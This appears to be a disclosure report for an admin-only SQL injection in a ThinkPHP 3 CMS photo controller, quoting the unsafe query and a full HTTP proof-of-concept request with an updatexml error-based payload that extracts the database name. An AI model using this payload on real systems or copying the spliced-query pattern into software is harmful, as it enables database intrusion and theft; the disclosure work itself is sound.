There is a SQL injection in App/Manage/Controller/PhotoController.class.php

[Northind]

There is a SQL injection in public function index() in App/Manage/Controller/PhotoController.class.php,

public function index(){
    //查询指定id的栏目信息
    $id=I('get.id');//类别ID
    $topcate=M('Column')->where("id=$id")->order('column_sort')->select();
    ...

As we can see, the correct syntax of thinkphp3 framework is not used here, and the parameter $id is used to splice into the variable for the query in the function where() , which will result in a serious SQL injection vulnerability. However, the admin privilege is required to trigger this vulnerability.

GET /index.php?s=Manage/Photo/index&id=11%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1))%23 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/index.php/manage/admin/index.html
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Connection: close
Cookie: Hm_lvt_6cbae336ef2e6fc07bbcab9a0872e082=1678242336; Hm_lvt_2a935166b0c9b73fef3c8bae58b95fe4=1678281890,1678325702; DZMADMIN=aku8sgg271tavop9frhnvmrtm6; HOST=http%3A//127.0.0.1/; APP_HOST=http%3A//127.0.0.1/; kodUserLanguage=zh-CN; kodVersionCheck=check-at-1678361139; X-CSRF-TOKEN=FV8yZSY7uXJpVYQ7E9ZU; kodUserID=100; opensns_wb_type=tp_value; opensns_OX_LOGGED_USER=Xcg5hyqnk8af5exC%3D8X97hsYsywjkcUg97fHoAxkC9y1%3DbrvR%3DYzcB9BP7e09jsfgbC99hS-Fyxl7xqMbxfp3hpQgaB56kcTPxBt1fQwTfh5YAQrjbrvO; well_sid=p6huh3jioh4jidb90bdird4so9; well_token=N8uh7cbMxFBcYrhfaFA9ozwPLOm_2Bc_2Fi1MAgb5WoSLrofZqCUBOgbUFTdMJY8DDreemsyvlSruBfVnFoDW75YxKbsBKLiOq9pr9im3TqRQrGwD41eiDoZRrtZ25I_3D; Hm_lvt_9bb651f2bb5622d49b0299560d6559cd=1678673516; myInfo=%7B%22userId%22%3A%22%22%2C%22paymethod%22%3A%220%22%2C%22pn%22%3A%22%22%2C%22name%22%3A%22%22%2C%22place%22%3A%22%22%2C%22block%22%3A%22%22%2C%22floor%22%3A%22%22%2C%22jifen%22%3A%22%22%7D; PHPSESSID=j5d3572bddhkpito2tsloevp21; thinkphp_show_page_trace=0|0; Hm_lpvt_9bb651f2bb5622d49b0299560d6559cd=1678674385; XDEBUG_SESSION=PHPSTORM

Below is the result.